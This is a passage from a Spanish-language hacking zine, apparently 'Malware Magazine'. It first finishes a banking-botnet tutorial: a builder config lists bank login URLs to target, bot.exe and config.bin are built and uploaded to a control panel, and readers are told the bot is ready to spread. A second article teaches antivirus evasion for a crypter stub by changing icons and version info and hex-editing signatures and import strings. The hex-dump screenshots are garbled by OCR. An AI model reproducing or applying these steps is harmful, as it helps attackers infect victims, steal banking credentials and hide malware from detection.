<pre>99=https://www.nwolb.com/Login.asp* 100=https://home2ae.cd.citibank.ae/CappWebAppAE/producttwo/capp/acti on/signoncq.do 101=https://internetbanking.aib.ie/hb1/roi/signon 102=https://lot-port.bcs.ru/names.nsf?#ogin* 103=*wellsfargo.com/* 104=https://web.da-us.citibank.com/cgi-bin/citifi/portal/l/l.do 105=https://web.da-us.citibank.com/cgi-bin/citifi/portal/l/autherror.do* 106=https://rupay.com/index.php 107=https://light.webmoney.ru/default.aspx 108=*banquepopulaire.fr/* 109=http://*.osmp.ru/ 110=https://www.uno-e.com/local_bdnt_unoe/Login_unoe2.html 111=https://www.ccm.es/cgi-bin/INclient_6105</pre>	Information Builder Settings	Builder         Source configuation file:         C:\Documents and Settings\Administrador\Mis doi       Browse         Actions         Build the bot configuration       Build the bot executable         99=https://www.nwolb.com/Login.asp*         100=https://home2ae.cd.citibank.ae/CappWebAppAE/producttwo/capp/action/signoncq.do         101=https://internetbanking.aib.ie/hb1/roi/signon         102=https://lot-port.bcs.ru/names.nsf?#ogin*         103=*wellsfargo.com/*         104=https://web.da-us.citibank.com/cgi-bin/citifi/portal/l/l.do         105=https://web.da-us.citibank.com/cgi-bin/citifi/portal/l/autherror.do*         106=https://upay.com/index.php         107=https://light.webmoney.ru/default.aspx         108=*banquepopulaire.fr/*         109=https://www.uno-e.com/local_bdnt_unoe/Login_unoe2.html         111=https://www.ccm.es/cgi-bin/INclient_6105         BUILD SUCCEEDED!

Ahora sí, subimos el **config.bin** y el **bot.exe** por FTP:

Nombre de arch /	Tamaño de	Tipo de archivo	Última modificación	Nor	mbre de archivo /	Tamaño d	Tipo de arc	Última modificac
J				 JI.				
📕 builder		Carpeta de arc	12/03/2011 9:39:40	J.	install		Carpeta de	14/08/2011 21:
📕 other		Carpeta de arc	12/03/2011 9:39:08	J.	system		Carpeta de	14/08/2011 22:
👗 server		Carpeta de arc	12/03/2011 9:39:08	J.	theme		Carpeta de	14/08/2011 21:
🌉 server[php]		Carpeta de arc	12/03/2011 9:39:08		bot.exe	95.744	Aplicación	14/08/2011 22:
bot.exe	95.744	Aplicación	14/08/2011 22:31:20		config.bin	34.424	Archivo BIN	14/08/2011 22:
client32.bin	95.232	Archivo BIN	12/03/2011 9:39:06		cp.php	55.881	Archivo PHP	14/08/2011 21:
config	7	Archivo	12/03/2011 9:39:00		gate.php	15.363	Archivo PHP	14/08/2011 21:
config.bin	34.424	Archivo BIN	14/08/2011 22:31:12		index.php	0	Archivo PHP	14/08/2011 21:

1

Una vez hecho esto, ya estamos en condiciones de comenzar a infectar.

Ese bot.exe que generamos es el server que debemos propagar.



Entramos vía web a nuestro panel. Recuerden que el panel es ese que se llama cp.php

Login	
User name:	ANTRAX
Password:	•••••
	🗌 Remember (MD5 cookies)
	Submit

Procederé a auto-infectarme, para probar si funciona. (Ustedes no hagan este paso ya que dañarán severamente su ordenador).

Una vez ejecutado el server, este desaparecerá y conectará a nuestro cliente vía web, se verá algo así:

Information	
Total reports in database:	0
Time of first activity:	15.08.2011 01:58:50
Total bots:	1
Total active bots in 24 hours:	100.00% - 1
Minimal version of bot:	2.0.8.9
Maximal version of bot:	2.0.8.9
Current botnet: [All] 🛛 💌 ≥	>
Actions: Reset "New bots"	
New bots (1)	Online bots (1)
AR 1	AR 1

Si investigan un poco el panel del Bot, podrán ver las opciones para ver los logs, para atacar webs, etcétera...

Para cerrar este capítulo, recordar que también tenemos la BotNet con Cliente de escritorio, pero parece no ser necesario abundar en mayores explicaciones ya que no es muy frecuente verla y se configura de igual forma que un troyano común.

A manera de conclusión, señalar que las líneas-guía que hemos reseñado nos sitúan en los primeros pasos de la temática BotNets y sus configuraciones básicas, por lo que no solo no está agotado el tema sino que os invitamos a continuar explorando, profundizando y planteándose problemas a resolver como el mejor camino de aprendizaje.

## Indetectabilidad

**G** 

Autor: Roda

+

## I. INDETECTABILIDAD

## 1. MODDEAR UN BINARIO

En esta segunda entrega de Malware Magazine, analizaremos cómo modificar un **crypter** ya compilado. Es decir, veremos como *moddear* un binario; para ello necesitaremos *Resource Hacker*.

Con esta excelente herramienta, lo que podemos hacer es cambiarle la versión y el icono al ejecutable; y aunque parezca increíble, esto ayuda a saltar algunas firmas.

## 2. <u>CAMBIAR DE ICONO</u>

Una vez que ejecutamos Resource Hacker, para cambiar el icono debemos ir al menú "Action - Replace icon".

Resource Hacker -	C:\Users\Roda\Desktop\Roda.exe	
File Edit View A	tion       Help         Save Resource as a binary file         Save Resource as a *.res file         Save Decompiled Resource         Save [ Icon ] resources         Save all Resources         Replace Icon         Replace Cursor         Replace Bitmap         Replace other Resource         Update all Resources         Add a new Resource	

Elegido nuestro icono, solo debemos desplegar al menú Filey dar click en Save / Save As (guardar)...

## 3. CAMBIAR DE VERSION INFO

Para cambiar la **Version Info** de un programa, lo primero que debemos hacer es elegir algún programa que tengamos en nuestra PC o que descarguen de internet.

Veamos un ejemplo: elegimos el programa *lobit Unistaller* y lo arrastramos hasta el *Resource Hacker*, vamos donde dice **Version Info** (1033 en este caso)...

Resource Hacker - C:\Users\Rod	a\Desktop\iobit.exe	- • ×
File Edit View Action Help		
File       Edit       View       Action       Help         Image       Cursor       Bitmap       Image       Image       Image         Image       Icon       Dialog       Image       Image       Image       Image         Image       Dialog       Image       Image	<pre></pre>	E
	}	Ţ
Line: 13	756	11.

Seleccionamos todo el contenido y elegimos *copy* o *cut* (copiar o cortar):



Ahora arrastramos nuestro ejecutable (*stub*) para pegar la información anterior:

Resource Hacker - C:\Users\Roda	a\Desktop\iobit.exe	- • ×
File Edit View Action Help		
File       Edit       View       Action       Help         Image: String Table       Image: String Table       Image: String Table         Image: String Table       Image: String Table       Image: String Table         Image: String Table       Image: String Table       Image: String Table         Image: String Table       Image: String Table       Image: String Table         Image: String Table       Image: String Table       Image: String Table         Image: String Table       Image: String Table       Image: String Table         Image: String Table       Image: String Table       Image: String Table         Image: String Table       Image: String Table       Image: String Table         Image: String Table       Image: String Table       Image: String Table         Image: String Table       Image: String Table       Image: String Table         Image: String Table       Image: String Table       Image: String Table         Image: String Table       Image: String Table       Image: String Table         Image: String Table       Image: String Table       Image: String Table         Image: String Table       Image: String Table       Image: String Table         Image: String Table       Image: String Table       Image: String Table         Image: String Table <t< td=""><td><pre>Quesktop.ubbit.exe Quesktop.ubbit.exe 1 VERSIONINFO FILEVERSION 2,4,7,340 PRODUCTVERSION 2,4,7,340 FILEOS 0x4 FILETYPE 0x1 { BLOCK "StringFileInfo" { UALUE "CompanyName", "IObit" VALUE "FileDescription", "IObit Uninstaller" VALUE "FileDescription", "IObit Uninstaller" VALUE "FileVersion", "2.4.7.340" VALUE "InternalName", "" VALUE "LegalCopyright", "Copyright(c) 2005-2013"</pre></td><td></td></t<>	<pre>Quesktop.ubbit.exe Quesktop.ubbit.exe 1 VERSIONINFO FILEVERSION 2,4,7,340 PRODUCTVERSION 2,4,7,340 FILEOS 0x4 FILETYPE 0x1 { BLOCK "StringFileInfo" { UALUE "CompanyName", "IObit" VALUE "FileDescription", "IObit Uninstaller" VALUE "FileDescription", "IObit Uninstaller" VALUE "FileVersion", "2.4.7.340" VALUE "InternalName", "" VALUE "LegalCopyright", "Copyright(c) 2005-2013"</pre>	
	VALUE "LegalTrademarks", "IObit" VALUE "OriginalFilename", ""	
	VALUE "ProductName", "IObit Uninstaller"	
	VALUE "ProductVersion", "2.0.0.0"	
	VALUE "Comments", ""	
	3	
Line: 10	756	•

A continuación, hacemos el mismo procedimiento que antes y pegamos nuestra información, luego pulsamos donde dice "**Compile Script**" que servirá para que nuestro ejecutable cambie su versión. Recuerden ir al menú **File**, y dar click en **Save o Save As**.

De esta forma ya aprendimos como cambiar el icono y la "Version Info" a un ejecutable.

## 4. QUITAR LAS FIRMAS DE UN EJECUTABLE

Bajo este título, aprenderemos algunos métodos para quitar firmas de un ejecutable, para ello usaremos un Editor Hexadecimal "*HexWorkShop*".

Abrimos nuestro archivo con *HexWorkShop* y nos vamos al binocular marcado en la imagen y en "**value**" ponemos VB5.

Asimismo, nos aseguramos de que estén los casilleros marcados tal cual como se ve en la imagen siguiente:

٢	Hex	Vorksh	nop - [(	:\User	Knd	a\Deski	top\sti	ih.exe	]																				d X
	File	Edit	Disk	Optio	ns	Tools	Plug-	lns	Windo	v He	elp																		- 8 ×
2	3	8	3 60	*	<b>B</b>	R 🖸	. 🖻	9	C I	<b>#1</b>	A 35	2	<b>CB</b>			- {	B (B)	10	£ 16										
11	B	B	B£ I	·/ &	4	In Int	1.02		36	10	011			ELAN	4 1	. DAJ	-	195		1	_								
	14			<b>√</b> 6 ≪		197 <b>III</b>		Ħ	Leg	icy AS	ull		_		4 1														
				0	1	2	3	4	5	6	7	8	9	10	11	12	13	14	15	16	17	18	19	0123456789	ABCDEF01	23	Data Inspec	tor	μ •×
D	0.1	0.01	860	0.0	0.0	0.00	0.0	50	12	4.0	0.0	0.8	8.0	41	0.0	0.1	0.0	0.0	0.0	6.8	15	4.0	0.0	1 0	A h	0	Data at o	ffset 1988	
ata \	0:	001	880	00	0.0	0 00	00	0.0	00	0.0	0.0	0.0	0.0	0.0	0.0	68	15	4 ()	0.0	0.0	0.0	0.0	0.0		h (d	G.	int8	86	L
/isu	0.0	001	900	0.7	0	0 00	0.0	zo	20	40	0.0	0.7	0.0	0.0	0.0	D0	1 1	4.0	0.0	07	0.0	0.0	0.0	a		·· 🗆	uint8	86	
ZI BI	0	0.01	920	8.8	11	F 40	0.0	0.5	0.0	<b></b>	4			u u		17(7		1.07			82	140	0.0	a <	a	a	int16	16982	
e	0	001	940	0.7	0.0	0 00	00	AC	11	r in	u										<u> </u>	0.0	0.0		<sup>`</sup> . (d		uint16	16982	E
	00	001	960	18	11	- 40	0.0	0.7	00	0	riteria	Range										4.0	0.0	a	a	a	int32		
	0.3	001	980	07	0.0	0 00	0.0	FC	1B		- Find V	Mant.										53	2 E	a. VI	5 VB6E	s.	uint32		
	0	002	000	44	40	- 4C	00	0.0	00		Find	(vnat:	4.044	_			Defe	4 4 8 10	1			0.0	00	DLL			int64		
	0	0.02	020	0.0	0.0	0 0 A	0.0	0.7	00		171		XL SLIII	g		•	Dela	JIL ANG	n. cp_a	cp 🔹	J	4.0	0.0		* a	a	uint64		
	00	0.02	040	0.0	F	30	0.0	0.0	- - - -		Val	ue: vb	5							-		0.0	0.0	0			half float	3.1679688	
	0	002	060	E 9	0	00 0	00	F4	14			70	0 D E									00	00	(d	(d (d . x .		float		
	00	002	080	81	0.0	0 0 0	0.0	87	0.0		п	ex. 70	02 30									0.0	0.0				double		7
	00	002	100	0.0	0 (	0 00	0.0	0.0	00		Ontin								Dies	ntina		6F	73	lc	smeior.1	os	Expression (	alc	n + X
	00	002	120	61	63	5 6A	6 F	72	0.0			ns od All Je	ataoo		100	Matala	Case			lo		02	0.0	mejorlos	meior		Clanad	_]	
	00	0.02	140	0.8	17	A 40	0.0	0.0	0.0		@ H		ialenide	5		Malon	I Gase		0			0.0	0.0		Q		aigiicu	•	JZ DIL V
	00	002	160	вс	17	A 40	00	18	80	I r	00		ing 							Jown		00	0.0	@A	@		1		
	00	002	180	0.0	0 (	0 0 0	0.0	0.0	00	11	() A	Noi otti	19									40	0.0		0	0.			
	00	002	2.00	0.0	0.0	0 0 0	0.0	FΖ	16		00	nicode :	String									0.0	0.0	@					
	00	002	220	F8	1(	5 40	00	01	. 00		O A											10	00		0	•			
		stub	.exe													_	<u> </u>										Eval		
x	_	_												L	Acep	ar	Ca	ncelar		Aplica	er								
1	Com	parel	Resul	ts																		-					All	E	2 SX
+	Тура					Sourc	ce 9				Cou	unt 🕓	1			C	ount	10,				Targe	t 🖳	с	ount 🖳		Count 🕒		
sults	Bà	ompar	e 👔	Cherks	um	Find		ookma	rks 🖡	Qutn	ut																		
Rei	•= `	emper	- 176	er recto			1 - 47 0			5 SULP														0 10	70 0 1	1000	6.1.2	010	
Kead	У																							Cursor: 18	/U Caret:	1988	Sel: 3	OVR	MOD READ

Nota: Si cambian o modifican la VB5 el archivo quedará roto.

Ahora, si bajamos un poco nos encontramos con unos datos que vamos a modificar:

20	00	00	0 A 0	00	0A	0C	00	00	09	04	00	00	E 4	2A	40	00	CC	17	40	00		
40	00	FO	30	00	00	FF	FF	FF	08	00	00	00	01	00	00	00	00	00	00	00	0	
60	E 9	00	00	00	F4	14	40	00	F4	14	40	00	в0	14	40	00	78	00	00	00		
80	81	00	00	00	8A	00	00	00	8B	00	00	00	00	00	00	00	00	00	00	00	half float 7600.	
00	00	00	00	00	00	00	00	00	6C	6F	73	6D	65	6A	6F	72	00	6C	6F	73	float 4.7087224e+027	
20	6D	65	6A	6F	72	00	00	6C	6F	73	6D	65	6A	6F	72	00	01	00	02	00	mejorlosmejor double 1.6758379e+243	
40	08	1A	40	00	00	00	00	00	D4	29	40	00	FF	FF	FF	FF	00	00	00	00		1
60	BC	1A	40	00	18	80	41	00	09	00	00	00	DO	16	40	00	00	00	00	00	@	ĩ
80	00	00	00	00	00	00	00	00	DO	16	40	00	01	00	00	00	AC	1C	40	00		
00	00	00	00	00	F 4	16	40	00	01	00	00	00	FC	16	40	00	00	00	00	00		
20	F8	16	40	00	01	00	00	00	FC	16	40	00	08	00	00	00	0C	00	10	00		
40	24	17	40	00	5C	84	41	00	00	00	00	00	DC	4 A	20	00	01	00	01	00	\$.@.\.AJ	
60	AD	00	F4	03	40	82	15	00	48	82	15	00	50	82	15	00	00	00	00	00	@HP	-

Cambiamos el título del proyecto por cualquier cosa que se nos ocurra, en el ejemplo de la imagen rellené "ModByRod".

00002000	44	4 C	4 C	00	00	00	00	00	2 A	00	00	00	00	00	00	00	00	00	00	00	DLL*
00002020	00	00	0 A 0	00	0 A 0	0C	00	00	09	04	00	00	E4	2 A	40	00	CC	17	40	00	
00002040	00	FO	30	00	00	FF	FF	FF	8 0	00	00	00	01	00	00	00	00	00	00	00	0
00002060	E 9	00	00	00	F4	14	40	00	F4	14	40	00	в0	14	40	00	78	00	00	00	@@@.x
00002080	81	00	00	00	8A	00	00	00	8B	00	00	00	00	00	00	00	00	00	00	00	
00002100	00	00	00	00	00	00	00	00	4 D	6 F	64	42	79	52	6F	64	00	4 D	6F	64	ModByRod.Mod
00002120	42	79	52	6 F	64	00	00	4 D	6 F	64	42	79	52	6 F	64	00	01	00	02	00	ByRodModByRod
00002140	80	1A	40	00	00	00	00	00	D4	29	40	00	FF	FF	FF	FF	00	00	00	00	
00002160	BC	1A	40	00	18	80	41	00	09	00	00	00	DO	16	40	00	00	00	00	00	@A@
00002180	00	00	00	00	00	00	00	00	DO	16	40	00	01	00	00	00	AC	1C	40	00	
00002200	00	00	00	00	F4	16	40	00	01	00	00	00	FC	16	40	00	00	00	00	00	@ @
00002220	F8	16	40	00	01	00	00	00	FC	16	40	00	80	00	00	00	0C	00	10	00	
00002240	24	17	40	00	5C	84	41	00	00	00	00	00	DC	4 A	20	00	01	00	01	00	\$.@.\.AJ
00002260	AD	00	F4	03	40	82	15	00	48	82	15	00	50	82	15	00	00	00	00	00	@HP
00002280	00	00	00	00	00	00	00	00	00	00	00	00	BC	1C	40	00	CC	1C	40	00	@@

Seguidamente, buscamos la **MSVBVM60** de la misma forma que antes:

18	79	01	00	CD	02	00	80	Find	.y,y>yLy ^
5E	79	01	00	19	02	00	80	Casa	^ylyvy
8 C	79	01	00	88	02	00	80	Chiena Range	.yyyy
в8	79	01	00	C6	79	01	00	Find What:	· y · · · y · · · y · · · y · · · y · · · y · ·
8 0	7A	01	00	1C	7A	01	00	Type: Text String	.zzz@z
42	02	00	80	64	00	00	80		BdNz^zlz
68	02	00	80	7E	7 A	01	00	Value: msvbvm60 🗸	h~zzz
AC	7A	01	00	ΒE	7 A	01	00	Hex: 6D73 7662 766D 3630	. Z Z Z Z Z Z
00	00	00	00	4 D	53	56	42		MSVBVM60.DLL
5F	43	49	63	6F	73	00	00	Options	_CIcosadj_fptan
00	00	00	00	5F	5 F	76	62	Find All Instances Match Case O Up	vbaVarMove
5F	5 F	76	62	61	56	61	72	O UTF-8 String	vbaVarVargNofree
00	00	5 F	5 F	76	62	61	46	ANSI String	vbaFreeVar
76	62	61	41	72	79	4 D	6 F	C Unicode String	vbaAryMove vbaS 🗍
74	72	56	61	72	4 D	6 F	76	All	trVarMove vbaLen
42	73	74	72	00	00	00	00		BstrvbaFreeVar
4C	69	73	74	00	00	00	00		Listadj_fdiv_m6
34	00	00	00	5 F	61	64	6A	Aceptar Cancelar Aplicar	4adj_fprem1
76	62	61	43	6F	70	79	42		vbaCopyBytes vb 🔻

En este caso, modificamos las mayúsculas por minúsculas y borramos la .DLL; marcamos el .DLL botón derecho, FILL



Será 4 el número de bytes que marcamos y 0 con lo que vamos a rellenar. Damos click en OK.

42	79	74	65	73	00	00	00	00	5F	5 F	Fills the Current Selection	Ŧ
бA	5F	66	70	72	65	6D	31	00	00	00		
0 C	5F	61	64	6A	5F	66	64	69	76	5 F		
0 C	5F	5 F	76	62	61	46	72	65	65	56	Cancel	
76	65	00	00	00	5 F	5 F	76	62	61	4 C		
δF	76	65	00	00	00	00	5F	5 F	76	62	O Dec	
46	72	65	65	56	61	72	00	00	00	00	Number of bytes: 4	
72	56	61	72	67	4 E	6 F	66	72	65	65		
62	61	56	61	72	4 D	6 F	76	65	00	00	Fill Bytes	
0 C	00	00	5F	61	64	6A	5F	66	70	74	61 6E CIcos adi fptan	
62	76	6D	36	30	2 E	44	4C	4C	20	00	00 00msvbvm60 <mark>.DLL</mark>	
0 C	C8	7A	01	00	D8	7A	01	00	E8	7A	01 00 .zzzz	
0 C	88	7A	01	00	98	7A	01	00	A2	7A	01 00 h~zzz	
В О	4 E	7A	01	00	5E	7A	01	00	6C	7A	01 00 BdNz^zlz	

Nos quedará como en la captura precedente.

También, podemos alternar entre mayúsculas y minúsculas (Ej: MsVbVm60).



Por otro lado, si examinamos un poco el archivo, nos vamos a encontrar con nombres como: **vbaVarMove**, **vbaAryMove**, **vbaCopyBytes**. Éstas son librerías que contiene el ejecutable, la mala modificación de alguna de ellas trae como consecuencia que podemos dejarlo [al ejecutable] inutilizable.

Para mover alguna librería usaremos el famoso método TIL. Para ello utilizaremos la herramienta "*CFF Explorer*" o "*Explorer Suite*"; click derecho en el ejecutable y lo abrimos:

🐭 CFF Explorer VII - [blk.exe]			S.	*	1.1	-		. 88
File Settings ?								
🔌 📕 🔊	bik.ese							×
40 1	Module Name	Imports	OFTs	TimeDateStamp	ForwarderChain	Name RVA	FTs (IAT)	
File: blk.exe								
- I I Nt Headers	szAnsi	(nFunctions)	Dword	Dword	Dword	Dword	Dword	
- I File Header	MSVBVM60.DLL	63	000029AC	FFFFFFCC	FFFFFFFF	00002AAC	00001000	
Doto Directorice M								
Section Headers [x]								
- Directory								
Resource Directory     Addman Convertor								
- Dependency Walker								
- SHex Editor								
- Sidentifier								
Guick Disassembler								
- Sesource Editor								
- S UPX Utility								
123 instances of 'strings' found in blk.exe							品 指 四	-B 🗙
Address 🖻 Length 🗐 Length	9							
000001B0 5 05	.text							10
00000200 5 05	.data .rsrc							
00000238 12 OC	MSvBvM60.DLL							
00001382 9 09	-C000-blk							
00001419 6 06	b5/68/*							
00001790 5 05	Mmain							-
•								
123 instances of 'strings' found in blk.exe	e						品 礼 电 -	BX
Address 🕑 Length 🕑 Length	B)							
00001BC5 4 04	5<3@							
00001C1B 4 04	h<3@							
00001C2C 4 04 00002AAC 12 0C	5<5便 MSVBVM60.DU							
00002ABC 6 06	Clcos							
00002AC6 10 0A	_adj_fptan							
00002AD4 12 OC	_vbaAryMove vbaFreeVar							-
× [			111					+

Nos vamos donde dice "**Import directory**" allí veremos la **msvbvm60**, le damos un click. Aparecerán debajo las librerías.

.

<ul> <li>Cri Explorer vir - (stublexe)</li> </ul>								
File Settings ?								
💫 🧏 👘	stub.exe							
	Module Name	Imports	огт₃	TimeDateStamp	ForwarderChain	Name RVA	ΓT₂ (IAT)	
Hile: stub.exe     Dog Hondor	000167C8	N/A	00016624	00016628	0001662C	00016630	00016634	
- 🖓 🗐 Nt Headers	szAnsi	(nFunctions)	Dword	Dword	Dword	Dword	Dword	
Elic Header     Ontional Header	MSVBVM60.DLL	14	0001744C	0000000	0000000	000175C8	00001000	
Data Directories [x]								
Section Headers [x]								
Resource Directory								
- SAddress Converter								
Dependency Walker     Maker     Mathematical Action								
- 🐇 Identifier								
- Sebuider								
Resource Editor	OFTs FT	's (IAT) Hint	Nar	me				
to X Guilty					-			
	Dword Dv	vord Wor	d szA	insi				
	000175D6 00	0175D6 0000	_CIe	cos				
	000175E0 00	0175E0 0000	_ad	j_fptan				
	000175EE 00	0175EE 0000	_vi	baVarMove				
	0001/5FE 00	01/5FE 0000	_vt	baVarVargNotree				
	00017614 00	017614 0000	vi	baFreeVar				
	00017624 00	017624 0000	vi	baAryMove				
	00017634 00	017634 0000	vi	baStrVarMove				
	00017646 00	017646 0000	_vt	baLenBstr				
1	00017656 00	017656 0000		haErool/ad ist				

Veamos entonces, de qué forma podemos cambiarlas de lugar; para esto abrimos nuestro editor Hex y buscamos un hueco donde haya una línea completa de ceros. En este ejemplo, debajo de la ruta del proyecto podemos ver que hay una combinación de ceros de izquierda a derecha.

Podemos probar, en otro lugar también, donde haya dicha combinación.

🔟 FIR	E EOIT UISK	Uption	ns i	00IS	Piug-i	ins v		и не ав б	n Baana					0	DA FDA	10	15-0									- 6
	5 🖂 😂 🧐	100	4	B 104	3	7		<b>66</b> 4	a arþ		48 	17		• 4	•••	6	6	٥l	<u>in</u>							
	16 B B   1	% 🕸	*	•	<b>\$</b>	Ħ	Lega	acy AS			•	141		- 101			Ŧ									
		0	1	2	3	4	5	6	7	8	9	A	В	С	D	Е	F	10	11	12	13	0123456789ABCDEF0123		Data Inspecto	r	¢ • 3
20	00009B0	01	00	81	6C	24	04	FF	FF	00	00	E 9	F2	54	01	00	81	6C	24	04	FF	1\$T1\$		Data at off	set 0x0	0000A64:
	00009C4	FF	00	00	E 9	D5	5B	01	00	F4	01	00	00	08	1A	40	00	00	00	00	00			int8	0	-
0	800009D8	E0	2 A	40	00	20	74	41	00	9C	04	00	00	08	80	41	00	76	12	40	00	.*@. tAA.v.@.		uint8	0	
0	00009EC	00	80	41	00	2 A	00	5C	00	41	00	43	00	3A	00	5C	00	44	00	6 F	00	A.*.\.A.C.:.\.D.o.		int16	0	=
•     0	00A000	63	00	75	00	6D	00	65	00	6E	00	74	00	73	00	20	00	61	00	6E	00	c.u.m.e.n.t.sa.n.		uint16	0	
- 0	0000A14	64	00	20	00	53	00	65	00	74	00	74	00	69	00	6E	00	67	00	73	00	dS.e.t.t.i.n.g.s.		int32	0	
0	0000A28	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00			uint32	0	
0	0000A3C	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00			int64	0	
P	0000A50	00	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	00	0.0	0.0	0.0	· · · · · · · · · · · · · · · · · · ·		uint64	0	
þ	0000A64	0.0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	.		half float	0.	
0	0000A78	00	0.0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	• • • • • • • • • • • • • • • • • • • •		float	0.	
0	0000A8C	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00			Expression Ca	c	. ¢ ↓ 2
0	0000AA0	0.0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00			Signed	•	32 bit 🔹
0	0000AB4	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	•••••		1		
0	0000AC8	00	0.0	00	00	00	0.0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	•••••				
0	0000ADC	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00					
0	0000AF0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00					
0	0000B04	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	•••••				
0	0000B18	0.0	0.0	0.0	0.0	0.0	0.0	0.0	00	0.0	0.0	0.0	0.0	0.0	00	0.0	00	0.0	00	0.0	00		*			
1	stub.exe																							Eval		
Cor	npare Result	s																						All	•	8 2 X
Тур	)e			Sourc	e 16,				Cou	nt 🎭				C	ount	16				Target	16	Count 🧐		Count 15		
					_																_	5				
- B	Compare 🔣	Checksu	m   8	Find	♦В	ookma	rks [	) Outp	ut																	
eady																						Cursor: 00000AC6 Caret: 0000	)A64	122880 bytes	OVI	R MOD RE/
								Go		3.	D/DO <sup>TH</sup>	rod				Word		a)	todar	Daint			F	s . Ins 6=	1 (1)	19:51
U	<b>9</b>	1		•			WIRC	- 00		<b>2</b> %	ype -	- rod			aper -	word	(	2	todos	- Paint		Hex Worksho		· • 🔞 🖫	, цр) 1	15/12/2014

Ahora, hacemos click en los puntitos y vemos debajo donde dice **Caret** que es el lugar donde vamos a pegar la librería, en este caso: **19A8.** 

#### Malware Magazine

Bit       X       N       D       LossovASCI       MM       PM         0       1       2       3       4       5       6       7       8       9       A       B       C       D       F       10       11       12       13       0123456789ABCDEP0123       Image: State	S 🖬 😂 🔞	-6	43 L	a 🗱	3	23	5	678 ┥	n ar)	1	40			- 4	a 44	6	R 6	👐 (	ind							
0       1       2       3       4       5       6       7       8       9       A       B       C       D       F       10       11       12       13       0123456789ABCDEF0123       Data effect 0x000016ABC         00001655       2       E       0 <th>16 16 16 I</th> <th>( 🍫</th> <th><b>%</b> (</th> <th>9 🖬</th> <th>4</th> <th>Ħ</th> <th>Legi</th> <th>acy AS</th> <th></th> <th></th> <th>-</th> <th>144</th> <th>۰.</th> <th>- 101</th> <th></th> <th></th> <th>Ŧ</th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th>	16 16 16 I	( 🍫	<b>%</b> (	9 🖬	4	Ħ	Legi	acy AS			-	144	۰.	- 101			Ŧ									
00001658       2E       0       7       0		0	1	2	3	4	5	6	7	8	9	A	в	С	D	E	F	10	11	12	13	0123456789ABCDEF0123	716	Data Inspector	+ + ×	
0000166C       00	00001658	2E	0.0	76	0.0	62	0.0	70	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	0.0	v.b.p	<u>ـ اا ـ</u>	Data at offs	set 0x000016A8:	C.
00001680       00	0000166C	00	00	00	00	00	0.0	0.0	0.0	00	00	0.0	00	0.0	0.0	00	00	0.0	0.0	0.0	0.0			int8	0	<u> </u>
00       00 <t< td=""><td>00001680</td><td>00</td><td>00</td><td>00</td><td>00</td><td>00</td><td>00</td><td>00</td><td>00</td><td>00</td><td>00</td><td>00</td><td>00</td><td>00</td><td>00</td><td>00</td><td>00</td><td>00</td><td>00</td><td>00</td><td>00</td><td></td><td></td><td>uint8</td><td>0</td><td></td></t<>	00001680	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00			uint8	0	
000016A8       000000000000000000000000000000000000	00001694	00	0.0	00	00	00	0.0	0.0	0.0	0.0	0.0	00	00	0.0	00	00	00	0.0	00	00	00			int16	0	
0 00016EC       00	000016A8	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00			uint16	0	
000016D0 00 00 00 00 00 00 00 00 00 00 00 00 0	000016BC	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	•		int32	0	
000016EF4 00 00 00 00 00 00 00 00 00 00 00 00 00	000016D0	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00			uint32	0	
0000176FB 00 00 00 00 00 00 00 00 00 00 00 00 00	000016E4	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00			int64	0	
00001770 C 00 00 00 00 00 00 00 00 00 00 00 00	000016F8	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00			uint64	0	
00001720 00 00 00 00 00 00 00 00 00 00 00 00 0	0000170C	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00			half float	0.	
00001734 00 00 00 00 00 00 00 00 00 00 00 00 00	00001720	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00			float	0.	
00001774 8 00 00 00 00 00 00 00 00 00 00 00 00 0	00001734	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00			double	0.	
00001775 C 00 00 00 00 00 00 00 00 00 00 00 00 0	00001748	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00			DATE	0:00:00 30/12/1899	•
00001770 00 00 00 00 00 00 00 00 00 00 00 00	0000175C	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00			DOS date	<invalid></invalid>	1
000017784 00 00 00 00 00 00 00 00 00 00 00 00 00	00001770	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00			DOS time	0:00:00	
00001798 30 14 40 00 04 00 00 00 00 00 00 70 70 40 00 50 1E 40 00 0.8	00001784	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00			FILETIME	0:00:00 01/01/1601	1
000017AC FF FF FF FF 00 00 00 00 60 70 40 00 CE C4 AA 74 CA C 61 45	00001798	30	14	40	00	04	00	00	00	00	00	00	00	70	70	40	00	50	1E	40	00	0.@pp@.P.@.		time_t	0.00.00 01/01/1970	b
